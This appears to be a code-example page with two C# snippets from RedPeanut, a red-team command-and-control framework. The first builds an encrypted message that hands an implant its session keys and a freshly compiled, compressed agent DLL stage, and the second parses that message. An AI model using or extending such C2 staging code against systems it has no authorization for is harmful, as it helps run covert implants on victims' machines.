Exemplo n.º 1
0
        //Send agentid
        //RC4 with serverkey
        private string CreateMsgAgentId(IAgentInstance agent, string serverkey, int profileid, int targetframework)
        {
            string mesg        = "";
            string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);

            if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
            {
                AesManaged aes = agent.AesManager;
                AgentIdMsg msg = new AgentIdMsg
                {
                    agentid    = agent.AgentId,
                    sessionkey = aes.Key,
                    sessioniv  = aes.IV
                };

                HttpProfile profile = Program.GetC2Manager().GetC2Server().GetProfile(profileid);

                ListenerConfig conf   = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), profile, profileid);
                string         source = System.IO.File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE));
                source    = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
                msg.stage = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", targetframework, compprofile: CompilationProfile.Agent)));

                string agentidnmsg = JsonConvert.SerializeObject(msg, Formatting.Indented);
                mesg = EncryptMessage(serverkey, agentidnmsg);
            }
            return(mesg);
        }
Exemplo n.º 2
0
        public static AgentIdMsg GetAgentId(string json)
        {
            AgentIdMsg task = new AgentIdMsg();

            try
            {
                task = new JavaScriptSerializer().Deserialize <AgentIdMsg>(json);
                //task = JsonConvert.DeserializeObject<AgentIdMsg>(json);
            }
            catch (Exception)
            {
            }

            return(task);
        }